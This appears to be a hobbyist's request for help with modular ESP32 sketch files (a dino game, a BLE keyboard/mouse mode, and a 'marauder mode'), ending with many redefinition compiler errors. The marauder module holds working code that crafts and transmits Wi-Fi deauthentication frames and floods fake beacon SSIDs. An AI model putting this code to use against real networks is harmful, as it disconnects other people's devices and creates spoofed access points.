int fileCount = 0;
// List files in the directory
while (true) {
File entry = root.openNextFile();
if (!entry) {
break; // No more files
}
if (entry.isDirectory()) {
continue; // Skip directories
}
files[fileCount] = entry.name(); // Store the file name
fileCount++;
if (fileCount >= 20) { // If we have 20 files, stop reading
break;
}
}
// Display the list of saved files
for (int i = 0; i < fileCount; i++) {
display.setCursor(0, i * 10);
display.print(files[i]); // Display the file name
}
display.display(); // Refresh the display to show the list of files
delay(3000);
displayMainMenu(); // Return to the main menu after showing files
}
void handleSubGHzKeyboardInput() {
while (true) {
showKeyboard();
if (digitalRead(BUTTON_UP) == LOW) {
currentRow = (currentRow - 1 + 4) % 4;
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
currentRow = (currentRow + 1) % 4;
delay(200);
}
if (digitalRead(BUTTON_LEFT) == LOW) {
currentCol = (currentCol - 1 + 12) % 12;
delay(200);
}
if (digitalRead(BUTTON_RIGHT) == LOW) {
currentCol = (currentCol + 1) % 12;
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
const char* selectedKey = keyboard[currentRow][currentCol];
if (strcmp(selectedKey, "SPACE") == 0) {
currentName += " ";
} else if (strcmp(selectedKey, "DEL") == 0) {
if (currentName.length() > 0) {
currentName.remove(currentName.length() - 1);
}
} else if (strcmp(selectedKey, "DONE") == 0) {
return;
} else {
currentName += selectedKey;
}
delay(200);
}
if (digitalRead(BUTTON_BACK) == LOW) {
return;
}
}
}
this is the Game which seeme to have the most issues
#include <Adafruit_SSD1306.h>
#include <Wire.h>
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define BUTTON_JUMP 33
#define BUTTON_BACK 32
#define SSD1306_I2C_ADDRESS 0x3C // Explicitly define I2C address for SSD1306
// Constants for game elements
#define DINO_WIDTH 10
#define DINO_HEIGHT 10
#define DINO_X 10 // Dino's fixed X position
#define GROUND_Y 40 // Ground level
#define OBSTACLE_WIDTH 10
#define OBSTACLE_HEIGHT 15
// External declarations
extern Adafruit_SSD1306 display; // Reference the global display object
extern int totalOptions; // External variable used in some part of your code
// Game variables
int gameDinoPosY = GROUND_Y;
bool isJumping = false;
int jumpSpeed = 2;
int gravity = 2;
int obstacleX = SCREEN_WIDTH; // Start obstacle at the far right
bool gameOver = false;
// Game state
enum GameState { MAIN_MENU, GAMEPLAY, GAME_OVER };
GameState gameState = MAIN_MENU;
// Submenu options
int SubmenuOption;
const int SubmenuOptionsCount = 2;
const char* SubmenuOptions[] = { "Start Game", "Exit" };
// Function Prototypes
void displayMainMenu();
void handleMainMenu();
void handleGameplay();
void handleGameOver();
void updateGame();
void drawGame();
void displayGameOver();
void resetGame();
void InitGame();
void GameMode();
void resetGame();
void displayGameOver();
void handleGameOver();
void drawGame();
void updateGame();
void handleGameplay();
void handleMainMenu();
void displayMainMenu();
// Initialize game
void InitGame() {
pinMode(BUTTON_JUMP, INPUT_PULLUP);
pinMode(BUTTON_BACK, INPUT_PULLUP);
displayMainMenu();
}
void GameMode() {
switch (gameState) {
case MAIN_MENU:
handleMainMenu();
break;
case GAMEPLAY:
handleGameplay();
break;
case GAME_OVER:
handleGameOver();
break;
}
}
// Menu display
void displayMainMenu() {
display.clearDisplay();
display.setTextSize(1);
display.setCursor(0, 0);
display.println("Main Menu:");
for (int i = 0; i < SubmenuOptionsCount; i++) {
display.setTextColor(i == SubmenuOption ? SSD1306_INVERSE : SSD1306_WHITE);
display.setCursor(0, 10 + i * 10);
display.println(SubmenuOptions[i]);
}
display.display();
}
// Main menu handling
void handleMainMenu() {
if (digitalRead(BUTTON_JUMP) == LOW) {
SubmenuOption = (SubmenuOption + 1) % SubmenuOptionsCount;
displayMainMenu();
delay(200);
}
if (digitalRead(BUTTON_BACK) == LOW) {
if (SubmenuOption == 0) { // Start game
resetGame();
gameState = GAMEPLAY;
} else if (SubmenuOption == 1) { // Exit
display.clearDisplay();
display.setTextSize(1);
display.setCursor(0, 0);
display.println("Goodbye!");
display.display();
delay(1000);
while (1);
}
delay(200);
}
}
// Gameplay handling
void handleGameplay() {
if (!gameOver) {
updateGame();
drawGame();
} else {
gameState = GAME_OVER;
}
if (digitalRead(BUTTON_BACK) == LOW) {
gameState = MAIN_MENU;
displayMainMenu();
delay(200);
}
}
// Game update logic
void updateGame() {
if (digitalRead(BUTTON_JUMP) == LOW && !isJumping) {
isJumping = true;
}
if (isJumping) {
gameDinoPosY -= jumpSpeed;
if (gameDinoPosY <= (GROUND_Y - DINO_HEIGHT - 20)) { // Max jump height
isJumping = false;
}
} else if (gameDinoPosY < GROUND_Y) {
gameDinoPosY += gravity;
if (gameDinoPosY > GROUND_Y) gameDinoPosY = GROUND_Y;
}
obstacleX -= 4;
if (obstacleX < -OBSTACLE_WIDTH) {
obstacleX = SCREEN_WIDTH;
}
if (obstacleX < DINO_X + DINO_WIDTH && obstacleX + OBSTACLE_WIDTH > DINO_X) {
if (gameDinoPosY + DINO_HEIGHT > GROUND_Y - OBSTACLE_HEIGHT) {
gameOver = true;
}
}
}
// Game drawing
void drawGame() {
display.clearDisplay();
// Draw ground
display.drawLine(0, GROUND_Y + 10, SCREEN_WIDTH, GROUND_Y + 10, SSD1306_WHITE);
// Draw Dino
display.fillRect(DINO_X, gameDinoPosY, DINO_WIDTH, DINO_HEIGHT, SSD1306_WHITE);
// Draw obstacle
display.fillRect(obstacleX, GROUND_Y - OBSTACLE_HEIGHT, OBSTACLE_WIDTH, OBSTACLE_HEIGHT, SSD1306_WHITE);
display.display();
}
// Game over handling
void handleGameOver() {
displayGameOver();
if (digitalRead(BUTTON_JUMP) == LOW) {
resetGame();
gameState = GAMEPLAY;
delay(200);
} else if (digitalRead(BUTTON_BACK) == LOW) {
gameState = MAIN_MENU;
displayMainMenu();
delay(200);
}
}
// Display game over screen
void displayGameOver() {
display.clearDisplay();
display.setTextSize(1);
display.setCursor(20, 20);
display.print("Game Over!");
display.setCursor(20, 30);
display.print("Jump to Restart");
display.setCursor(20, 40);
display.print("Back for Menu");
display.display();
}
// Reset the game
void resetGame() {
gameOver = false;
gameDinoPosY = GROUND_Y;
obstacleX = SCREEN_WIDTH;
}
this is the bluetooth mode
#include <BleKeyboard.h>
#include <BleMouse.h>
#include <Wire.h>
#include <Adafruit_SSD1306.h>
// Function Prototype
void displayBLEMenu(); // Prototype for the displayMainMenu function
void handleBLEKeyboardInput();
void navigateBLEMenu(int direction);
void stopBluetoothMode();
void displayKeyboardLayout();
void handleMouseInput();
void HandleselectBLEOption(int selectBLEOption);
// For SPACE, use the HID keycode for SPACE
#define KEY_SPACE 0x2C
// For ENTER, use the HID keycode for ENTER
#define KEY_RETURN 0x28
// For BACKSPACE, use the HID keycode for BACKSPACE
#define KEY_BACKSPACE 0x2A
// Define button pins
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_LEFT 27
#define BUTTON_RIGHT 26
#define BUTTON_SELECT 33
#define BUTTON_BACK 32
// OLED display setup
#define SSD1306_I2C_ADDRESS 0x3C // Explicitly define I2C address for SSD1306
extern Adafruit_SSD1306 display; // Reference the global display object
// BLE objects
BleKeyboard bleKeyboard;
BleMouse bleMouse;
// Flags and variables
bool bluetoothModeRunning = false;
bool isKeyboardMode = false;
bool isMouseMode = false;
int mainMenuOption;
extern int totalOptions;
int selectBLEOption = 0;
// Menu options
const char *mainMenuOptions[] = {"Bluetooth Keyboard", "Bluetooth Mouse"};
const int mainMenuOptionsCount = 2;
// Reference the shared keyboard array
extern const char* keyboard[4][12];
extern int currentRow;
extern int currentCol;
extern void displayMainMenu();
void InitBluetooth() {
// Initialize BLE Keyboard and Mouse
bleKeyboard.begin();
bleMouse.begin();
// Display the main menu
displayMainMenu();
}
void BluetoothMode() {
unsigned long currentMillis = millis();
if (digitalRead(BUTTON_UP) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateBLEMenu(-1); // Navigate up
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_DOWN) == LOW && currentMillis - lastButtonPress > debounceDelay) {
navigateBLEMenu(1); // Navigate down
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_SELECT) == LOW && currentMillis - lastButtonPress > debounceDelay) {
HandleselectBLEOption(selectBLEOption); // Select current option
lastButtonPress = currentMillis;
}
if (digitalRead(BUTTON_BACK) == LOW && currentMillis - lastButtonPress > debounceDelay) {
displayMainMenu(); // Go back to the main menu
lastButtonPress = currentMillis;
}
}
void navigateBLEMenu(int direction) {
// Logic for vertical navigation through menu options
selectBLEOption = (selectBLEOption + direction + totalOptions) % totalOptions;
displayBLEMenu(); // Update display after navigation
}
void HandleselectBLEOption(int selectBLEOption) {
// Depending on the selected option, perform the associated action for IR mode
switch (selectBLEOption) {
case 0:
handleBLEKeyboardInput(); // Go to Receive IR Mode
break;
case 1:
handleMouseInput() ; // Show saved files
break;
default:
break;
}
}
void displayBLEMenu() {
display.clearDisplay(); // Clear the OLED display
display.setCursor(0, 0); // Reset the cursor position
// Define the menu options for IR mode
String menuOptions[] = {"KeyBoard","Mouse"};
totalOptions = sizeof(menuOptions) / sizeof(menuOptions[0]); // Adjust the number of menu options
// Loop through the menu options and display them
for (int i = 0; i < totalOptions; i++) {
if (i == selectBLEOption) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected option
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(0, i * 10); // Set cursor position for each menu item
display.print(menuOptions[i]); // Print the menu option
}
display.display(); // Refresh the display to show updates
}
void handleBLEKeyboardInput() {
displayKeyboardLayout();
if (digitalRead(BUTTON_UP) == LOW) {
currentRow = max(currentRow - 1, 0); // Move up
delay(200);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
currentRow = min(currentRow + 1, 3); // Move down
delay(200);
}
if (digitalRead(BUTTON_LEFT) == LOW) {
currentCol = max(currentCol - 1, 0); // Move left
delay(200);
}
if (digitalRead(BUTTON_RIGHT) == LOW) {
currentCol = min(currentCol + 11, 11); // Move right
delay(200);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
String selectedKey = keyboard[currentRow][currentCol];
if (selectedKey == "SPACE") {
bleKeyboard.press(KEY_SPACE);
} else if (selectedKey == "ENTER") {
bleKeyboard.press(KEY_RETURN);
} else if (selectedKey == "BACKSPACE") {
bleKeyboard.press(KEY_BACKSPACE);
} else if (selectedKey == "DONE") {
stopBluetoothMode();
} else {
bleKeyboard.print(selectedKey);
}
delay(200);
bleKeyboard.releaseAll();
}
if (digitalRead(BUTTON_BACK) == LOW) {
stopBluetoothMode();
}
}
void handleMouseInput() {
if (digitalRead(BUTTON_UP) == LOW) {
bleMouse.move(0, -10); // Move up
delay(100);
}
if (digitalRead(BUTTON_DOWN) == LOW) {
bleMouse.move(0, 10); // Move down
delay(100);
}
if (digitalRead(BUTTON_LEFT) == LOW) {
bleMouse.move(-10, 0); // Move left
delay(100);
}
if (digitalRead(BUTTON_RIGHT) == LOW) {
bleMouse.move(10, 0); // Move right
delay(100);
}
if (digitalRead(BUTTON_SELECT) == LOW) {
bleMouse.click(MOUSE_LEFT); // Left mouse click
delay(200);
}
if (digitalRead(BUTTON_BACK) == LOW) {
stopBluetoothMode();
}
}
void displayKeyboardLayout() {
display.clearDisplay();
for (int row = 0; row < 4; row++) {
for (int col = 0; col < 12; col++) {
if (row == currentRow && col == currentCol) {
display.setTextColor(SSD1306_INVERSE); // Highlight the selected key
} else {
display.setTextColor(SSD1306_WHITE);
}
display.setCursor(col * 10, row * 10);
display.print(keyboard[row][col]);
}
}
display.display();
}
void stopBluetoothMode() {
bluetoothModeRunning = false;
isKeyboardMode = false;
isMouseMode = false;
display.clearDisplay();
display.setCursor(0, 0);
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.println("Bluetooth Stopped");
display.display();
bleKeyboard.end();
bleMouse.end();
}
and finally the marauder mode
#include <WiFi.h>
#include <Adafruit_SSD1306.h>
#include <esp_wifi.h>
// Pins for OLED display and buttons
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_SELECT 33
#define BUTTON_BACK 32
#define SSD1306_I2C_ADDRESS 0x3C
void createBeaconPacket(uint8_t* packet, const char* ssid);
void sendBeaconAttack();
void stopMarauderMode();
void startMarauderMode();
void MarauderMode();
void deauthAttack(); // Declaration for deauthAttack function
void startDeauthAttack();
void startBeaconAttack();
extern Adafruit_SSD1306 display; // Reference the global display object
// Menu Options
const char* marauderMenuOptions[] = { "Deauth Attack", "Beacon Attack", "Stop Attack" };
const int marauderMenuOptionsCount = sizeof(marauderMenuOptions) / sizeof(marauderMenuOptions[0]);
int marauderMenuOption;
extern int totalOptions;
// Beacon packet crafting data
const char* ssidList[5] = { "Free_WiFi", "CoffeeShop", "MyHomeNetwork", "ESP_Hack", "Test_AP" };
int totalSSIDs = sizeof(ssidList) / sizeof(ssidList[0]);
// State variables
bool attackRunning = false;
bool deauthRunning = false;
bool beaconRunning = false;
String targetMac = "00:11:22:33:44:55"; // Target MAC for deauth attack
void Initmarauder() {
Wire.begin();
pinMode(BUTTON_SELECT, INPUT_PULLUP);
pinMode(BUTTON_BACK, INPUT_PULLUP);
display.clearDisplay();
display.display();
WiFi.mode(WIFI_STA);
WiFi.disconnect();
}
void displaymarauderMenu() {
display.clearDisplay();
display.setCursor(0, 0);
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.print("Marauder Mode");
display.setCursor(0, 20);
display.print("1. Deauth Attack");
display.setCursor(0, 30);
display.print("2. Beacon Attack");
display.setCursor(0, 40);
display.print("3. Stop Attack");
display.setCursor(0, 50);
display.print("> " + String(marauderMenuOption + 1));
display.display();
}
void MarauderMode() {
displaymarauderMenu();
if (digitalRead(BUTTON_SELECT) == LOW) {
switch (marauderMenuOption) {
case 0: // Deauth Attack
startDeauthAttack();
break;
case 1: // Beacon Attack
startBeaconAttack();
break;
case 2: // Stop Attack
stopMarauderMode();
break;
}
}
if (digitalRead(BUTTON_BACK) == LOW) {
marauderMenuOption = (marauderMenuOption - 1 + marauderMenuOptionsCount) % marauderMenuOptionsCount;
}
if (digitalRead(BUTTON_UP) == LOW) {
marauderMenuOption = (marauderMenuOption - 1 + marauderMenuOptionsCount) % marauderMenuOptionsCount;
}
if (digitalRead(BUTTON_DOWN) == LOW) {
marauderMenuOption = (marauderMenuOption + 1) % marauderMenuOptionsCount;
}
}
void startDeauthAttack() {
attackRunning = true;
deauthRunning = true; // Start deauth attack
beaconRunning = false; // Stop beacon attack if it was running
display.clearDisplay();
display.setCursor(0, 0);
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.print("Deauth Attack Running...");
display.display();
deauthAttack(); // Start deauth attack
}
void startBeaconAttack() {
attackRunning = true;
deauthRunning = false; // Stop deauth attack if it was running
beaconRunning = true; // Start beacon attack
display.clearDisplay();
display.setCursor(0, 0);
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.print("Beacon Attack Running...");
display.display();
sendBeaconAttack(); // Start sending beacon packets
}
void stopMarauderMode() {
attackRunning = false;
deauthRunning = false;
beaconRunning = false;
display.clearDisplay();
display.setCursor(0, 0);
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.print("Attack Stopped");
display.display();
esp_wifi_set_promiscuous(false); // Disable promiscuous mode
WiFi.disconnect(true); // Disconnect from any networks
}
void sendBeaconAttack() {
uint8_t beaconPacket[128];
while (attackRunning && beaconRunning) {
for (int j = 0; j < totalSSIDs; j++) {
createBeaconPacket(beaconPacket, ssidList[j]);
esp_wifi_80211_tx(WIFI_IF_STA, beaconPacket, sizeof(beaconPacket), true);
delay(100);
}
}
}
void createBeaconPacket(uint8_t* packet, const char* ssid) {
int ssidLength = strlen(ssid);
uint8_t beaconFrameHeader[] = {
0x80, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0x12, 0x34, 0x56, 0x78,
0x9A, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x64, 0x00, 0x01, 0x04
};
memcpy(packet, beaconFrameHeader, sizeof(beaconFrameHeader));
packet[36] = 0x00; // SSID element ID
packet[37] = ssidLength; // SSID length
memcpy(packet + 38, ssid, ssidLength); // Copy SSID into packet
packet[38 + ssidLength] = 0x01; // Supported Rates element ID
packet[39 + ssidLength] = 0x08; // Supported Rates length
packet[40 + ssidLength] = 0x82; // 1 Mbps
packet[41 + ssidLength] = 0x84; // 2 Mbps
packet[42 + ssidLength] = 0x8B; // 5.5 Mbps
packet[43 + ssidLength] = 0x96; // 11 Mbps
packet[44 + ssidLength] = 0x0C; // 6 Mbps
packet[45 + ssidLength] = 0x12; // 9 Mbps
packet[46 + ssidLength] = 0x18; // 12 Mbps
packet[47 + ssidLength] = 0x24; // 18 Mbps
}
void deauthAttack() {
uint8_t deauthPacket[128];
uint8_t deauthFrame[] = {
0xC0, 0x00, // Frame Control (0xC0 = Deauthentication)
0x00, 0x00, // Duration
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (Broadcast MAC)
0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, // Source MAC
0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, // BSSID
0x00, 0x00, // Sequence Control
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Timestamp
0x01, 0x00 // Reason Code
};
memcpy(deauthPacket, deauthFrame, sizeof(deauthFrame));
uint8_t targetMacAddress[6];
sscanf(targetMac.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
&targetMacAddress[0], &targetMacAddress[1], &targetMacAddress[2],
&targetMacAddress[3], &targetMacAddress[4], &targetMacAddress[5]);
memcpy(deauthPacket + 10, targetMacAddress, 6); // Set target MAC address
memcpy(deauthPacket + 16, targetMacAddress, 6); // Set target MAC address
esp_wifi_80211_tx(WIFI_IF_STA, deauthPacket, sizeof(deauthPacket), true);
delay(100); // Delay between deauth packets
}
here are the error it shows
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:23:5: error: redefinition of 'int gameDinoPosY'
23 | int gameDinoPosY = GROUND_Y;
| ^~~~~~~~~~~~
In file included from D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Main_menu.ino:9:
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:23:5: note: 'int gameDinoPosY' previously defined here
23 | int gameDinoPosY = GROUND_Y;
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:24:6: error: redefinition of 'bool isJumping'
24 | bool isJumping = false;
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:24:6: note: 'bool isJumping' previously defined here
24 | bool isJumping = false;
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:25:5: error: redefinition of 'int jumpSpeed'
25 | int jumpSpeed = 2;
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:25:5: note: 'int jumpSpeed' previously defined here
25 | int jumpSpeed = 2;
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:26:5: error: redefinition of 'int gravity'
26 | int gravity = 2;
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:26:5: note: 'int gravity' previously defined here
26 | int gravity = 2;
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:27:5: error: redefinition of 'int obstacleX'
27 | int obstacleX = SCREEN_WIDTH; // Start obstacle at the far right
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:27:5: note: 'int obstacleX' previously defined here
27 | int obstacleX = SCREEN_WIDTH; // Start obstacle at the far right
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:28:6: error: redefinition of 'bool gameOver'
28 | bool gameOver = false;
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:28:6: note: 'bool gameOver' previously defined here
28 | bool gameOver = false;
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:31:6: error: multiple definition of 'enum GameState'
31 | enum GameState { MAIN_MENU, GAMEPLAY, GAME_OVER };
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:31:6: note: previous definition here
31 | enum GameState { MAIN_MENU, GAMEPLAY, GAME_OVER };
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:32:11: error: redefinition of 'GameState gameState'
32 | GameState gameState = MAIN_MENU;
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:32:11: note: 'GameState gameState' previously defined here
32 | GameState gameState = MAIN_MENU;
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:35:5: error: redefinition of 'int SubmenuOption'
35 | int SubmenuOption;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:35:5: note: 'int SubmenuOption' previously declared here
35 | int SubmenuOption;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:36:11: error: redefinition of 'const int SubmenuOptionsCount'
36 | const int SubmenuOptionsCount = 2;
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:36:11: note: 'const int SubmenuOptionsCount' previously defined here
36 | const int SubmenuOptionsCount = 2;
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:37:13: error: redefinition of 'const char* SubmenuOptions []'
37 | const char* SubmenuOptions[] = { "Start Game", "Exit" };
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:37:13: note: 'const char* SubmenuOptions [2]' previously defined here
37 | const char* SubmenuOptions[] = { "Start Game", "Exit" };
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:61:6: error: redefinition of 'void InitGame()'
61 | void InitGame() {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:61:6: note: 'void InitGame()' previously defined here
61 | void InitGame() {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:68:6: error: redefinition of 'void GameMode()'
68 | void GameMode() {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:68:6: note: 'void GameMode()' previously defined here
68 | void GameMode() {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:83:6: error: redefinition of 'void displayMainMenu()'
83 | void displayMainMenu() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:83:6: note: 'void displayMainMenu()' previously defined here
83 | void displayMainMenu() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:99:6: error: redefinition of 'void handleMainMenu()'
99 | void handleMainMenu() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:99:6: note: 'void handleMainMenu()' previously defined here
99 | void handleMainMenu() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:124:6: error: redefinition of 'void handleGameplay()'
124 | void handleGameplay() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:124:6: note: 'void handleGameplay()' previously defined here
124 | void handleGameplay() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:140:6: error: redefinition of 'void updateGame()'
140 | void updateGame() {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:140:6: note: 'void updateGame()' previously defined here
140 | void updateGame() {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:168:6: error: redefinition of 'void drawGame()'
168 | void drawGame() {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:168:6: note: 'void drawGame()' previously defined here
168 | void drawGame() {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:184:6: error: redefinition of 'void handleGameOver()'
184 | void handleGameOver() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:184:6: note: 'void handleGameOver()' previously defined here
184 | void handleGameOver() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:199:6: error: redefinition of 'void displayGameOver()'
199 | void displayGameOver() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:199:6: note: 'void displayGameOver()' previously defined here
199 | void displayGameOver() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Game_mode.ino:212:6: error: redefinition of 'void resetGame()'
212 | void resetGame() {
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Game_mode.ino:212:6: note: 'void resetGame()' previously defined here
212 | void resetGame() {
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:29:8: error: redefinition of 'IRrecv irrecv'
29 | IRrecv irrecv(13); // IR receiver pin
| ^~~~~~
In file included from D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Main_menu.ino:6:
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:29:8: note: 'IRrecv irrecv' previously declared here
29 | IRrecv irrecv(13); // IR receiver pin
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:30:8: error: redefinition of 'IRsend irsend'
30 | IRsend irsend; // IR transmitter pin
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:30:8: note: 'IRsend irsend' previously declared here
30 | IRsend irsend; // IR transmitter pin
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:31:16: error: redefinition of 'decode_results results'
31 | decode_results results; // IR results
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:31:16: note: 'decode_results results' previously declared here
31 | decode_results results; // IR results
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:39:5: error: redefinition of 'int selectIROption'
39 | int selectIROption = 0;
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:39:5: note: 'int selectIROption' previously defined here
39 | int selectIROption = 0;
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:45:15: error: redefinition of 'long unsigned int lastButtonPress'
45 | unsigned long lastButtonPress = 0; // Store the last time a button was pressed
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:45:15: note: 'long unsigned int lastButtonPress' previously defined here
45 | unsigned long lastButtonPress = 0; // Store the last time a button was pressed
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:46:21: error: redefinition of 'const long unsigned int debounceDelay'
46 | const unsigned long debounceDelay = 200; // 200ms debounce delay
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:46:21: note: 'const long unsigned int debounceDelay' previously defined here
46 | const unsigned long debounceDelay = 200; // 200ms debounce delay
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:48:6: error: redefinition of 'void InitIR()'
48 | void InitIR() {
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:48:6: note: 'void InitIR()' previously defined here
48 | void InitIR() {
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:57:6: error: redefinition of 'void IRMode()'
57 | void IRMode() {
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:57:6: note: 'void IRMode()' previously defined here
57 | void IRMode() {
| ^~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:91:6: error: redefinition of 'void navigateIRMenu(int)'
91 | void navigateIRMenu(int direction) {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:91:6: note: 'void navigateIRMenu(int)' previously defined here
91 | void navigateIRMenu(int direction) {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:97:6: error: redefinition of 'void navigateIRLeftRight(int)'
97 | void navigateIRLeftRight(int direction) {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:97:6: note: 'void navigateIRLeftRight(int)' previously defined here
